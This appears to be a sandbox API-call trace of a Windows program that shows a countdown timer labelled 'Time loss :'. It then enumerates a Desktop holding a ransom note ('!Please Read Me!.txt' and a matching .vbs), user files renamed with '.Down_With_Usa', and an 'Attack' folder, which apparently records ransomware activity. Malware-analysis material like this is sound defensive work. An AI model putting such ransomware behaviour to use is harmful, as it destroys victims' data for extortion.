[0255.933] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="59") returned 2
[0255.933] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0255.933] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0255.933] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0255.933] GetSystemMetrics (nIndex=42) returned 0
[0255.933] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="49") returned 2
[0255.933] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0255.933] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0255.933] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0255.933] GetSystemMetrics (nIndex=42) returned 0
[0255.934] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecd50, nMaxCount=3 | out: lpString="49") returned 2
[0255.934] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecd50) returned 0x2
[0255.934] SetWindowTextW (hWnd=0x2028a, lpString="48") returned 1
[0255.934] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x2812344) returned 0x1
[0255.934] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0255.934] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0255.934] GetSystemMetrics (nIndex=42) returned 0
[0255.934] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecc10, nMaxCount=3 | out: lpString="48") returned 2
[0255.934] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecc10) returned 0x2
[0255.935] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0255.935] AdjustWindowRectEx (in: lpRect=0x2ecc28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ecc28) returned 1
[0255.935] DrawTextExW (in: hdc=0xd010a02, lpchText="48", cchText=2, lprc=0x2ecb98, format=0x102400, lpdtp=0x2812598 | out: lpchText="48", lprc=0x2ecb98) returned 20
[0255.935] InvalidateRect (hWnd=0x2028a, lpRect=0x0, bErase=1) returned 1
[0255.935] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0255.935] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0255.935] GetSystemMetrics (nIndex=42) returned 0
[0255.935] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ecb80, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0255.935] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ecb80) returned 0xb
[0256.258] GetWindowTextLengthW (hWnd=0x20288) returned 2
[0256.258] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0256.258] GetSystemMetrics (nIndex=42) returned 0
[0256.258] GetWindowTextW (in: hWnd=0x20288, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="24") returned 2
[0256.258] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0256.258] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0256.258] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0256.258] GetSystemMetrics (nIndex=42) returned 0
[0256.259] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="59") returned 2
[0256.259] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0256.259] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0256.259] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0256.259] GetSystemMetrics (nIndex=42) returned 0
[0256.259] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="48") returned 2
[0256.259] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0256.259] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0256.259] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0256.260] GetSystemMetrics (nIndex=42) returned 0
[0256.260] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecd50, nMaxCount=3 | out: lpString="48") returned 2
[0256.260] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecd50) returned 0x2
[0256.387] SetWindowTextW (hWnd=0x2028a, lpString="47") returned 1
[0256.547] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x28128c4) returned 0x1
[0256.547] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0256.547] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0256.548] GetSystemMetrics (nIndex=42) returned 0
[0256.548] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecc10, nMaxCount=3 | out: lpString="47") returned 2
[0256.548] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecc10) returned 0x2
[0256.549] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0256.549] AdjustWindowRectEx (in: lpRect=0x2ecc28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ecc28) returned 1
[0256.549] DrawTextExW (in: hdc=0xd010a02, lpchText="47", cchText=2, lprc=0x2ecb98, format=0x102400, lpdtp=0x2812b18 | out: lpchText="47", lprc=0x2ecb98) returned 20
[0256.549] InvalidateRect (hWnd=0x2028a, lpRect=0x0, bErase=1) returned 1
[0256.550] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0256.550] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0256.550] GetSystemMetrics (nIndex=42) returned 0
[0256.550] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ecb80, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0256.550] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ecb80) returned 0xb
[0257.139] GetWindowTextLengthW (hWnd=0x20288) returned 2
[0257.140] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0257.140] GetSystemMetrics (nIndex=42) returned 0
[0257.140] GetWindowTextW (in: hWnd=0x20288, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="24") returned 2
[0257.140] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0257.141] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0257.141] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0257.143] GetSystemMetrics (nIndex=42) returned 0
[0257.143] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="59") returned 2
[0257.143] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0257.154] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0257.154] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0257.154] GetSystemMetrics (nIndex=42) returned 0
[0257.154] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="47") returned 2
[0257.154] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0257.154] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0257.154] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0257.154] GetSystemMetrics (nIndex=42) returned 0
[0257.154] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecd50, nMaxCount=3 | out: lpString="47") returned 2
[0257.154] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecd50) returned 0x2
[0257.155] SetWindowTextW (hWnd=0x2028a, lpString="46") returned 1
[0257.155] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x2812e44) returned 0x1
[0257.155] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0257.155] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0257.155] GetSystemMetrics (nIndex=42) returned 0
[0257.155] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecc10, nMaxCount=3 | out: lpString="46") returned 2
[0257.155] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecc10) returned 0x2
[0257.156] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0257.156] AdjustWindowRectEx (in: lpRect=0x2ecc28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ecc28) returned 1
[0257.156] DrawTextExW (in: hdc=0xd010a02, lpchText="46", cchText=2, lprc=0x2ecb98, format=0x102400, lpdtp=0x2813098 | out: lpchText="46", lprc=0x2ecb98) returned 20
[0257.156] InvalidateRect (hWnd=0x2028a, lpRect=0x0, bErase=1) returned 1
[0257.156] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0257.156] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0257.156] GetSystemMetrics (nIndex=42) returned 0
[0257.156] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ecb80, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0257.156] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ecb80) returned 0xb
[0257.452] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0257.452] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0257.597] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0257.598] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0259.735] LocalFree (hMem=0x27eb7760) returned 0x0
[0259.742] qsort (in: _Base=0x1b39f8, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fef42a06e0 | out: _Base=0x1b39f8)
[0260.488] VirtualAlloc (lpAddress=0x0, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x1b370000
[0260.522] qsort (_Base=0x1bcbcc8c, _NumOfElements=0x1a4, _SizeOfElements=0xc, _PtFuncCompare=0x7fef4291700)
[0260.603] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0x1abde890 | out: hHeap=0xd0000) returned 1
[0260.609] VirtualQuery (in: lpAddress=0x7fe94019c60, lpBuffer=0x2ed5d0, dwLength=0x30 | out: lpBuffer=0x2ed5d0*(BaseAddress=0x7fe94019000, AllocationBase=0x7fe94010000, AllocationProtect=0x1, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x40, Type=0x20000, __alignment2=0x0)) returned 0x30
[0260.615] GetLogicalDrives () returned 0x4
[0260.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0260.831] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\test", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\test", lpFilePart=0x0) returned 0x2a
[0260.831] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\test\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\test\\", lpFilePart=0x0) returned 0x2b
[0260.834] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\test\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0260.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece70) returned 1
[0260.851] RaiseException (dwExceptionCode=0xe0434352, dwExceptionFlags=0x1, nNumberOfArguments=0x5, lpArguments=0x2eccd8)
[0260.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0260.863] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\test", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\test", lpFilePart=0x0) returned 0x2a
[0260.863] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\test\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\test\\", lpFilePart=0x0) returned 0x2b
[0260.864] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\test\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0260.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece70) returned 1
[0260.880] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr="Contains", cchSrc=8, lpDestStr=0x2741004, cchDest=8, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x1abf1f60 | out: lpDestStr="contains") returned 8
[0264.159] RaiseException (dwExceptionCode=0xe0434352, dwExceptionFlags=0x1, nNumberOfArguments=0x5, lpArguments=0x2ec628)
[0266.439] qsort (in: _Base=0x1b39f8, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fef42a06e0 | out: _Base=0x1b39f8)
[0269.387] qsort (in: _Base=0x1b4e94, _NumOfElements=0x5, _SizeOfElements=0x8, _PtFuncCompare=0x7fef427e8e0 | out: _Base=0x1b4e94)
[0269.393] QueryPerformanceCounter (in: lpPerformanceCount=0x2ec350 | out: lpPerformanceCount=0x2ec350*=38852945275) returned 1
[0269.396] VirtualQuery (in: lpAddress=0x7fe94019f00, lpBuffer=0x2ec8d0, dwLength=0x30 | out: lpBuffer=0x2ec8d0*(BaseAddress=0x7fe94019000, AllocationBase=0x7fe94010000, AllocationProtect=0x1, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x40, Type=0x20000, __alignment2=0x0)) returned 0x30
[0269.399] RaiseException (dwExceptionCode=0xc0000005, dwExceptionFlags=0x0, nNumberOfArguments=0x2, lpArguments=0x7fef3e5f5c0)
[0269.413] CoTaskMemAlloc (cb=0x20c) returned 0x27d84af0
[0269.414] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0x27d84af0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x0
[0269.415] CoTaskMemFree (pv=0x27d84af0)
[0269.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ece40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0269.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0269.420] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0270.157] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26
[0270.159] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x663f97e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x663f97e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x27f05cd0
[0270.160] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x663f97e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x663f97e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0270.161] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d31500, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x26d31500, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26d57660, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0270.161] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26dc9a80, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x26dc9a80, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26defbe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0270.162] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x881f4fb0, ftCreationTime.dwHighDateTime=0x1d5dee8, ftLastAccessTime.dwLowDateTime=0x8645d910, ftLastAccessTime.dwHighDateTime=0x1d5dd59, ftLastWriteTime.dwLowDateTime=0x1f2746a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13710, dwReserved0=0x0, dwReserved1=0x0, cFileName="14twDPt60izPLxo82S4.swf.Down_With_Usa", cAlternateFileName="14TWDP~1.DOW")) returned 1
[0270.163] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aec6660, ftCreationTime.dwHighDateTime=0x1d5dfba, ftLastAccessTime.dwLowDateTime=0xca23aac0, ftLastAccessTime.dwHighDateTime=0x1d5db1c, ftLastWriteTime.dwLowDateTime=0x1f358ee0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xdb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="1g_JOPnK9w7TxVEt.mkv.Down_With_Usa", cAlternateFileName="1G_JOP~1.DOW")) returned 1
[0270.163] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cf2b0, ftCreationTime.dwHighDateTime=0x1d5e465, ftLastAccessTime.dwLowDateTime=0x90a8d300, ftLastAccessTime.dwHighDateTime=0x1d5e72f, ftLastWriteTime.dwLowDateTime=0x1f3cb300, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x81d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2spXr1L63i0rOFWOwGxO.jpg.Down_With_Usa", cAlternateFileName="2SPXR1~1.DOW")) returned 1
[0270.164] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62e71940, ftCreationTime.dwHighDateTime=0x1d5e293, ftLastAccessTime.dwLowDateTime=0xba234f20, ftLastAccessTime.dwHighDateTime=0x1d5dcc2, ftLastWriteTime.dwLowDateTime=0x1f43d720, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3KX2W5Gx_oMR2z.avi.Down_With_Usa", cAlternateFileName="3KX2W5~1.DOW")) returned 1
[0270.165] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x280fabe0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x280fabe0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x280fabe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="adfw-2.dll", cAlternateFileName="")) returned 1
[0270.165] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27f7de20, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27f7de20, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27f7de20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="adfw.dll", cAlternateFileName="")) returned 1
[0270.166] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27397020, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27397020, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27397020, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attack", cAlternateFileName="")) returned 1
[0270.167] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x628e42f0, ftCreationTime.dwHighDateTime=0x1d5e227, ftLastAccessTime.dwLowDateTime=0xeb6eb640, ftLastAccessTime.dwHighDateTime=0x1d5e29a, ftLastWriteTime.dwLowDateTime=0x1f4fbe00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ciBvwtUgoKdRmxR9BZC.odp.Down_With_Usa", cAlternateFileName="CIBVWT~1.DOW")) returned 1
[0270.167] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f23c20, ftCreationTime.dwHighDateTime=0x1d5d8c0, ftLastAccessTime.dwLowDateTime=0xa4f39ad0, ftLastAccessTime.dwHighDateTime=0x1d5e58f, ftLastWriteTime.dwLowDateTime=0x1f594380, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x151a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clTNgHV.mp3.Down_With_Usa", cAlternateFileName="CLTNGH~1.DOW")) returned 1
[0270.168] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28120d40, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28120d40, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28146ea0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cnli-0.dll", cAlternateFileName="")) returned 1
[0270.168] FindNextFileW (in: hFindFile=0x27f05cd0, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2822b6e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2822b6e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28251840, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x18a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cnli-1.dll", cAlternateFileName="")) returned 1
